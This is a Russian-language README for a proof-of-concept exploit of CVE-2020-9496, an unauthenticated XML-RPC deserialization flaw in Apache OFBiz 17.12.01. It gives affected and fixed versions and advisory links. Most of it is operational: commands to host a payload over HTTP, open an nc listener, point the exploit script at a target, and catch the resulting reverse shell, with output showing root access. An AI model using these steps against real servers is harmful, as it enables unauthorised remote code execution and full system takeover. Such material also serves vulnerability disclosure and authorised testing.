CVE-2020-9496

Поскольку два связанных с xmlrpc запроса в webtools (xmlrpc и ping) не используют аутентификацию, они уязвимы для небезопасной десериализации.
Эта проблема была сообщена команде безопасности Альваро Муньосом [email protected] из команды GitHub Security Lab.

Затронутая версия 17.12.01

Исправленные версии 18.12.01, 17.12.04

Оригинальный блог: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/
Пост Apache: https://issues.apache.org/jira/browse/OFBIZ-11716
PoC от GitHub: https://github.com/g33xter/CVE-2020-9496

Чтобы этот эксплойт сработал, необходимо выполнить следующие шаги:

Шаг 1: Запустите HTTP-сервис с помощью python3

> sudo python3 -m http.server 80

Шаг 2: Запустите nc-слушатель на нужном порту (рекомендуется 8001)

> nc -nlvp 8001

Шаг 3: Измените URL-адрес и порт веб-сайта внутри скрипта:

url='https://127.0.0.1' # CHANGE THIS                                                         
port=8443 # CHANGE THIS

Шаг 4: Запустите эксплойт, как показано ниже

> ./cve-2020-9496.sh -i IP -p PORT

Шаг 5: Проверьте nc-слушатель

❯ nc -nlvp 8001
listening on [any] 8001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.10.x.x] 57500
bash: cannot set terminal process group (31): Inappropriate ioctl for device
bash: no job control in this shell
root@poc:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
root@poc:/usr/src/apache-ofbiz-17.12.01#